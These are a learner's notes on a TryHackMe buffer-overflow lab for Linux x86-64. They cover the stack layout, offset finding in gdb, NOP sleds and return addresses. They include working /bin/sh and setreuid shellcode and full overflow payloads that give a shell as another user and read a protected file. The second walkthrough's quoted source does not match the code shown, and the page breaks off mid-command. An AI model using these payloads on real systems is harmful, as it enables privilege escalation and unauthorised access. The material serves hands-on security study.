Skip to main content

Linux x86-64

info

Notes on the THM 'Buffer Overflow' Room, looking specifically at Linux x86-64 programs. The room recommends using radare2 (r2) but it was easier to use gdb instead.

Some preliminary notes and knowledge around the stack so I can try to understand what is happening.

The Stack

The stack is the place in memory where your local variables and function arguments go.

Your application address space looks like this:

high addresses
_____________
[_____________]
[ stack ]
[_____________]
[ ]
[ ]
[_____________]
[____heap_____]
[___globals___]
[____code_____]
[_____________]

low addresses

The "heap" grows "upward", and the "stack" grows "downward"- so the "top" of the stack if you look at the diagram is technically the "bottom", cos it grows "downward".

Stack Frame

Every time you call a function a chunk of memory is allocated to the "top" of the stack, this is called the Stack Frame, and holds the args, local variables and return address to jump back to, for that function call.

These Stack Frames are PUSH onto the stack:

e.g.

main (locals, args, return)
printf(locals, args, return)
malloc(locals, args, return)

When the function "returns", the stack frame is removed with POP

stack bottom
return address
saved registers
buffer: function
stack top

The Overflow

info

The Cyber Mentor's notes on the anatomy of the stack, with regard to overflows, are the most clear I've read online: "Buffer Overflows Made Easy". This section paraphrases a lot fo CM's work, so full credit to him for the basis of my notes.

The stack we're most concerned about in an overflow is a "memory stack" with the 4 main components

  • ESP - stack pointer
  • Buffer Space
  • EBP - base pointer
  • EIP - instruction pointer / return address

We start with this as our programs stack:

stack frame

It's called a "buffer overflow" cos that Buffer Space you see there, is what we're trying to overflow.

We can identify it is vulnerable to an overflow a couple of ways:

  1. viewing sourcecode and seeing vulnerable code e.g. strcpy
  2. "fuzzing" where we send bytes at a function the application exposes and seeing where it "overflows" i.e. crashes and overwrites the EIP

buffer overflow

As you can see, the Buffer Space has been overflowed, all the way to us being able to write a bunch of A's into the EIP register, which means we control what the value of this register.

Why do we care about the EIP?

This is the return address to go to when the stack frame completes executing, if we control this, we control "where" the program executes next. And we want to point that to whever our shellcode is.

The Payload

After reviewing a lot of the literature on buffer overflowing methods, what makes sense to me is starting at the end goal and working backwards.

Ultimately, we want a "payload" that we fire at the overflow entrypoint and pops us a shell.

This payload is essentially = offset + return address

But the offset is made up of the following:

payload

In terms of cli input, this looks like this in gdb:

(gdb) run $(python -c "print $nop_sled + $shellcode + $alignment + $return_address")

Once we find the size of the Offset, we can determine what byte sizes to allocate to the other components i.e. the NOP sled, Shellcode and Alignment parts.

Find the Offset

What's the Offset?

The offset is the number of bytes all the way up to, but not overwriting the EIP:

buffer overflow

How do we find how big the offset is?

Manual Method

As an example, if we have sourcecode like this:

...
void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}
...

What do we know?

We know our buffer is 140 bytes.

We know $rbp is 8 bytes (we know the it's 8 bytes because we are on an x86_64 i.e the 64 bit version of the x86 instruction set) so we try sending a payload of 148 + n until the program crashes.

At the very least, we know our offset is at least 148 bytes.

If we've loaded our program into gdb we'll send our overflow input like this, choosing to add 8 bytes arbitrarily and incrementing it until the program crashes:

(gdb) run $(python -c "print 'A'*(148+8))

We inspect the return address when it crashes, looking for this:

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

this is the EIP and it's showing it's overwritten with a bunch of A's i.e. we've overflowed the buffer, and overwritten everything up to and including the EIP.

We keep increasing n until we see the \x41's, when we overshoot it, the \x41's disappear.

In the example above, the return address turns out to be 6-bytes long before the next n increment overshoots it.

The final number (148 + n) - 6 is our "offset" i.e. the size of the buffer right up to the start of the return address.

Metsploit Framework Method

I haven't done this myself, but l1ge's write-up does an excellent job of explaining it.

In summary:

  • use /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <buffer size>, to create a payload string pattern.
  • send it at the application as input
  • inspect the registers in gdb (e.g. i r or x/100 $rsp-200) to see where the pattern has ended up overwriting
  • use /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <buffer size> -q <address>

NOP Sled

A "no operation" byte aka \x90 or NOP is (my own words) a byte that takes up space and does nothing when hit, but pass execution along to the next byte.

Why do we need one?

The return address we're overwriting onto the EIP is a very specific location pointing to the start of our shellcode to be executed.

The problem with this is, shit happens on computers all the time which move the address space around, which could affect our shellcode being executed correctly.

To allow for this scenario, we use a "NOP sled" i.e. a string of NOPs that start at the beginning of our buffer, in front of our shellcode, so when the EIP sends execution to the beginning of our buffer, the NOP sled will "no execute and pass along" the pointer eventually to the start of our shellcode.

The NOP sled can be any size, but bear in mind it shares the same "offset" space with the Shellcode and Alignment, so combined these cannot add up to more than the offset size.

Shellcode

A few ways to generate shellcode

  1. msfvenom
  2. /bin/cat
  3. pwntools

Alignment

The alignment bytes just make up the difference between the shellcode and the end of the offset.

Return Address

The size of this is determined by what we say in the "finding the offset", where the EIP gets filled up with A's until we see something like this for the crashed return address in gdb: 0x0000414141414141, telling us the return address size is 6 bytes.

But what address are we writing in here?

Now that we know our NOP Sled is going to be at the start of our payload/buffer, we want the address where our NOP's can be found.

For example, if we've got most of our payload determined:

(gdb) run $(python -c "print $nop_sled + $shellcode + $alignment + $return_address")

We send this off and can see the return address being overwritten...

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

Staying inside gdb, dump the memory and look for our NOP's i.e. 0x90909090's.

(gdb) x/100x $rsp-200
0x7fffffffe8c8: 0x004005a9 0x00000000 0xf7ffa268 0x00007fff
0x7fffffffe8d8: 0xffffecea 0x00007fff 0x67676f64 0x9090906f
0x7fffffffe8e8: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe8f8: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe908: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe918: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe928: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe938: 0x90909090 0x90909090 0x90909090 0xff319090
0x7fffffffe948: 0x03eabf66 0x4858716a 0x050ffe89 0x48583b6a
0x7fffffffe958: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe968: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe978: 0x050fff31 0x42424242 0x42424242 0x42424242
0x7fffffffe988: 0x41414141 0x00004141 0xffffea88 0x00007fff
0x7fffffffe998: 0x00000000 0x00000002 0x004005e0 0x00000000
0x7fffffffe9a8: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe9b8: 0xffffea88 0x00007fff 0x00040000 0x00000002
0x7fffffffe9c8: 0x004005ac 0x00000000 0x00000000 0x00000000
0x7fffffffe9d8: 0x794daa23 0x97320a39 0x00400450 0x00000000
0x7fffffffe9e8: 0xffffea80 0x00007fff 0x00000000 0x00000000
0x7fffffffe9f8: 0x00000000 0x00000000 0xa1edaa23 0x68cdf546
0x7fffffffea08: 0x2d49aa23 0x68cde5f1 0x00000000 0x00000000
0x7fffffffea18: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffea28: 0xffffeaa0 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffea38: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffea48: 0x00000000 0x00000000 0x00000000 0x00000000

Pick any address where you see the 0x90909090's and write it in little edian format e.g. 0x7fffffffe8f8 becomes \xf8\xe8\xff\xff\xff\x7f.

You now have the last piece of the payload puzzle.

Offset / Payload Size

The size in bytes of the offset must be maintained at all times. If you mess up the offset, you will mess up overwriting the EIP which is crucial for pointing the execution flow to our shellcode.

So, if the offset is 169 bytes, then NOP + shellcode + Alignment + return_address must equal 169 bytes exactly.

Buffer Overflow #1

The scenario, is a buffer-overflow program belonging to user1 will be used to read a secret.txt file belonging to user2:

[user1@ip-10-10-79-28 overflow-3]$ ll
total 24
-rwsrwxr-x 1 user2 user2 8264 Sep 2 2019 buffer-overflow
-rw-rw-r-- 1 user1 user1 285 Sep 2 2019 buffer-overflow.c
-rw------- 1 user2 user2 22 Sep 2 2019 secret.txt

Notes on an overflow using this program from TryHackMe Buffer Overflow Room task 8.

#include <stdio.h>
#include <stdlib.h>

void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}

int main(int argc, char **argv)
{
printf("Here's a program that echo's out your input\n");
copy_arg(argv[1]);
}

this technique uses Python, GDB and a clear understanding of all elements of the Stack.

Find the offset

info

The offset is the amount of bytes between filling up the buffer and the start of the return address.

offset = buffer[140] + alignment bytes + rbp[8]

use Python and GDB to find the offset i.e. number of bytes it takes to overwrite the return address.

(gdb) run $(python -c "print('A' * 150)")
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 150)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400595 in main ()

(gdb) run $(python -c "print('A' * 151)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 151)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGBUS, Bus error.
0x0000000000400595 in main ()

(gdb) run $(python -c "print('A' * 152)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 152)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGILL, Illegal instruction.
0x0000000000400500 in __do_global_dtors_aux ()

(gdb) run $(python -c "print('A' * 155)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 155)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()

line 0x0000000000400595 in main () is the return address

what we're trying to do is overwrite it with until we see all As i.e. \x41 all over the return address like the following:

(gdb) run $(python -c "print('A' * 158)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 158)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

(gdb) run $(python -c "print('A' * 159)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A' * 159)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400563 in copy_arg ()

you know you've gone OVER it when the return address goes from 41s to some other bytes.

so, we now know 158 bytes is the right amount of bytes to fill a) the buffer, b) the alignment bytes and c) the rbp (saved registers) and the 6-byte return address.

offset = 158 - 6 = 152

so - 152 bytes to fill the buffer (plus alignment + rbp), 6 bytes to overwrite return address.

shellcode + return address

use this 40-bytes shellcode:

\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

key note from the author: simple shellcodes without an exit function messes the overflow up, check this.

we need to find the return address for the start of our shellcode, so we can put this into our overflow to jump to our code when the program is exploited.

so our payload needs to be a total bytes: 152 + return address (6) = 158 at all times.

PAYLOAD = JUNK + SHELLCODE + JUNK + RETURN_ADDRESS e.g. payload = 'A'*100 + 'shellcode' + 'B'*12 + 'C'*6

using gdb, run this:

(gdb) run $(python -c "print 'A' * 100 + shellcode + 'B' * 12 + 'C' * 6")

then dump the memory to see where the payload ended up, and the memory addresses associated with it.

(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe656 0x00007fff 0x41414141 0x41414141
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x622fb948
0x7fffffffe2b8: 0x732f6e69 0xc1481168 0xc14808e1 0x485108e9
0x7fffffffe2c8: 0x48243c8d 0x3bb0d231 0x4242050f 0x42424242
0x7fffffffe2d8: 0x42424242 0x43434242 0x43434343 0x00007f00
0x7fffffffe2e8: 0x00400590 0x00000000 0xffffe3e8 0x00007fff
0x7fffffffe2f8: 0x00000000 0x00000002 0x004005a0 0x00000000
0x7fffffffe308: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe318: 0xffffe3e8 0x00007fff 0x00040000 0x00000002
0x7fffffffe328: 0x00400564 0x00000000 0x00000000 0x00000000
0x7fffffffe338: 0x14cb65ee 0xa528a1f1 0x00400450 0x00000000
0x7fffffffe348: 0xffffe3e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe358: 0x00000000 0x00000000 0xd9ab65ee 0x5ad75e8e
0x7fffffffe368: 0x404f65ee 0x5ad74e39 0x00000000 0x00000000
0x7fffffffe378: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe388: 0xffffe400 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe398: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe3a8: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)

note

each COLUMN is 4 bytes wide

the dump command:

(gdb) x/100x $rsp-200

this says "dump 100x4 bytes from memory location $rsp-200" (why rsp-200?) then look at the output, see the \x41s and see where the shellcode starts i.e. \x6a\x3b\x58...

Memory Address Math

(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe656 0x00007fff 0x41414141 0x41414141
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x622fb948
0x7fffffffe2b8: 0x732f6e69 0xc1481168 0xc14808e1 0x485108e9
0x7fffffffe2c8: 0x48243c8d 0x3bb0d231 0x4242050f 0x42424242
0x7fffffffe2d8: 0x42424242 0x43434242 0x43434343 0x00007f00
0x7fffffffe2e8: 0x00400590 0x00000000 0xffffe3e8 0x00007fff
0x7fffffffe2f8: 0x00000000 0x00000002 0x004005a0 0x00000000
0x7fffffffe308: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe318: 0xffffe3e8 0x00007fff 0x00040000 0x00000002
0x7fffffffe328: 0x00400564 0x00000000 0x00000000 0x00000000
0x7fffffffe338: 0x14cb65ee 0xa528a1f1 0x00400450 0x00000000
0x7fffffffe348: 0xffffe3e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe358: 0x00000000 0x00000000 0xd9ab65ee 0x5ad75e8e
0x7fffffffe368: 0x404f65ee 0x5ad74e39 0x00000000 0x00000000
0x7fffffffe378: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe388: 0xffffe400 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe398: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe3a8: 0x00000000 0x00000000 0x00000000 0x00000000

Our shellcode starts on address line 0x7fffffffe2a8 on the 4th column.

Each column is 4-bytes wide, so to reference it, we need to start at 0x7fffffffe2a8 add 3 x 4 = 12 bytes, 12 in hex is 0xC.

So the return address for the start of our shellcode is 0x7fffffffe2a8 + 0xC = 0x7fffffffe2b4

Use a hex calculator

note

This was just an exercise if seeing how the A's and shellcode land in memory and how you can calculate a memory address (in hex) for a certain point in your payload. DONT do this to find your shellcode return address, use the NOP sled method instead.

NOP slide shellcode address

(gdb) run $(python -c "print '\x90'*100 + '\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05' + 'B'*12 + 'C'*6")                                                 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100 + '\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05' + 'B'*12 + 'C'*6")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������H�/bin/shH�H�QH�<$H1Ұ;BBBBBBBBBBBBCCCCCC

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400595 in main ()
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe656 0x00007fff 0x90909090 0x90909090
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090 <---- e.g. here
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x622fb948
0x7fffffffe2b8: 0x732f6e69 0xc1481168 0xc14808e1 0x485108e9
0x7fffffffe2c8: 0x48243c8d 0x3bb0d231 0x4242050f 0x42424242
0x7fffffffe2d8: 0x42424242 0x43434242 0x43434343 0x00007f00
0x7fffffffe2e8: 0x00400590 0x00000000 0xffffe3e8 0x00007fff
0x7fffffffe2f8: 0x00000000 0x00000002 0x004005a0 0x00000000
0x7fffffffe308: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe318: 0xffffe3e8 0x00007fff 0x00040000 0x00000002
0x7fffffffe328: 0x00400564 0x00000000 0x00000000 0x00000000
0x7fffffffe338: 0xdb621c60 0x310de389 0x00400450 0x00000000
0x7fffffffe348: 0xffffe3e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe358: 0x00000000 0x00000000 0x16021c60 0xcef21cf6
0x7fffffffe368: 0x8fe61c60 0xcef20c41 0x00000000 0x00000000
0x7fffffffe378: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe388: 0xffffe400 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe398: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe3a8: 0x00000000 0x00000000 0x00000000 0x00000000

pick ANY address where you see a bunch of 0x90909090 in the columns.

I choose: 0x7fffffffe268 we need to convert to little endian: \x68\xe2\xff\xff\xff\x7f

payload + shellcode return address

danger

DONT use the shellcode from the THM ROOM, it's all shit & doesn't work.

Use l1ge's one instead.

run it in gdb:

(gdb) run $(python -c "print '\x90'*100 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x68\xe2\xff\xff\xff\x7f'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x68\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�BBBBBBBBBBBBh����
process 3468 is executing new program: /usr/bin/bash
sh-4.2$ ls
Detaching after fork from child process 3476.
buffer-overflow buffer-overflow.c secret.txt
sh-4.2$ whoami
Detaching after fork from child process 3477.
user1
sh-4.2$ ll
Detaching after fork from child process 3478.
sh: ll: command not found
sh-4.2$ ls -l
Detaching after fork from child process 3479.
total 20
-rwsrwxr-x 1 user2 user2 8264 Sep 2 2019 buffer-overflow
-rw-rw-r-- 1 user1 user1 285 Sep 2 2019 buffer-overflow.c
-rw------- 1 user2 user2 22 Sep 2 2019 secret.txt
sh-4.2$ cat secret.txt
Detaching after fork from child process 3480.
cat: secret.txt: Permission denied
sh-4.2$ exit
[Inferior 1 (process 3468) exited with code 01]

still no user2 permission, so we need to adjust our shellcode using setuid(1002) (which is user1's uid from /etc/passwd), when the shellcode pops, we want setuid at the top to make use user2.

note

look up & understand the difference between (real) UID and effective UID and how the shell treats things, except of course if you're trying to setuid(0) i.e. root, in which case you can only get your effective UID set. Because of this, what we need to basically su to user2 is setruid()

pwntools setreuid shellcode

install pwntools:

apt update -y
apt install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools --user

and then create shellcode with setreuid:

pwn shellcraft -f d amd64.linux.setreuid 1002       
\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

add this to the existing /bin/sh shellcode that was dropping us in before:

run $(python -c "print '\x90'*100 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x68\xe2\xff\xff\xff\x7f'")

the payload is now 212 bytes, but we need to keep it at 158 bytes total (i.e. 152 offset + 6 return address).

Debugging Return Address

I had 2, near-identical payloads except for the return address- which according to the "pick any address where the NOPs are" rule, the address I picked should have worked.

First payload is l1ges (the author of the write-up), second payload is mine.

[user1@ip-10-10-222-59 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + '\x98\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
��������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shIAPH��RWH��j<XH1�AAAAAAAAAAAA�����
sh-4.2$ exit
[user1@ip-10-10-222-59 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x68\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
��������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shIAPH��RWH��j<XH1�BBBBBBBBBBBBh����
Illegal instruction

ended up being my return address \x68\xe2\xff\xff\xff\x7f didn't work, but \x98\xe2\xff\xff\xff\x7f did.

[user1@ip-10-10-222-59 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B'*12 + '\x98\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
��������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shIAPH��RWH��j<XH1�BBBBBBBBBBBB�����
sh-4.2$ whoami
user2
sh-4.2$ ls
buffer-overflow buffer-overflow.c secret.txt
sh-4.2$ cat secret.txt
omgyoudidthissocool!!

Buffer Overflow #2

The 2nd overflow, in the buffer-overflow-4 folder:

#include <stdio.h>
#include <stdlib.h>

void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}

int main(int argc, char **argv)
{
printf("Here's a program that echo's out your input\n");
copy_arg(argv[1]);
}

Find Offset

The offset is the size of the payload that includes the "buffer" all the way up to overwriting the EIP (return address)

we can see the entry point for our overflow in the source code:

  char buffer[154] = "doggo";
strcpy(buffer, string)

our equation for the offset, works something like this:

payload = buffer + return_address + pad - where pad is some arbitrary number we adjust to see the program "crash" out and show us a return address that starts getting overwritten with 'A's

e.g.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()

We can see that buffer is 154 - doggo = 149 - (we'll keep writing it as 154-5. And we know that the return address is 6 bytes.

So now our equation looks like : payload = (154-5) + 6 + pad for which we don't know what pad equals, so we run a python line to start determining what pad is.

Let's start with 8 bytes i.e. (154-5+6+8) and keep incrementing that until we see our A's (\x41) start overwriting the return address:

(gdb) run $(python -c "print 'A'*(154-5+6+8)")                                                                     
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+8)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGILL, Illegal instruction.
0x0000000000400500 in __do_global_dtors_aux ()
(gdb) run $(python -c "print 'A'*(154-5+6+9)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+9)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400041 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+10)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+10)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000004141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+11)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+11)")
